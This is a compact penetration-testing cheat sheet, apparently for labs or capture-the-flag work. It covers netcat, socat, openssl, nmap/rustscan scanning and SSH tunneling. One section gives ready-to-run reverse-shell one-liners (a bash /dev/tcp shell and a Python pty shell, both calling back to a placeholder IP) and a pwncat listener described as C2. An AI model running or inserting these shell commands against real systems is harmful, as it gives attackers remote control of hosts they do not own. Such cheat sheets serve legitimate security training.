nc host port ncat --ssl host 443 curl -i URL openssl s_client -connect host:443 dig @dns server name nmap -sC -sV host rustscan -a host # fast port scan, auto-runs nmap rustscan -a host -- -sC -sV # args after -- passed to nmap
| Question | Impact |
|---|---|
| plain TCP or TLS? | use nc vs ncat/openssl |
| line-oriented protocol? | send newline and watch prompts |
| HTTP-ish? | curl first before browser |
| UDP? | use nc -u or socat |
# SSH -L / -R / -D, chisel, ligolo, proxychains: # see the ssh-tunneling cheatsheet (authority) ssh -L 8080:127.0.0.1:80 user@jump # -L local, -R remote, -D SOCKS # → ssh-tunneling-cheatsheet.html
socat TCP-LISTEN:4444,reuseaddr,fork TCP:target:80 socat file:`tty`,raw,echo=0 TCP:host:port # handy for interactive raw services # full socat relays/tunnels → ssh-tunneling-cheatsheet.html
nc -lvnp 4444 bash -c 'bash -i >& /dev/tcp/IP/4444 0>&1' python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("IP",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' pwncat-cs -lp 4444 # catch + auto-upgrade shell (C2) pwncat-cs :4444 # bind-listen shorthand
| Issue | Fix |
|---|---|
| copy/paste CRLF issues | protocol may require exact newlines |
| wrong bind address | 127.0.0.1 vs 0.0.0.0 matters |
| TLS hidden behind TCP port | openssl s_client reveals it |
| proxy environment | curl may behave differently than nc |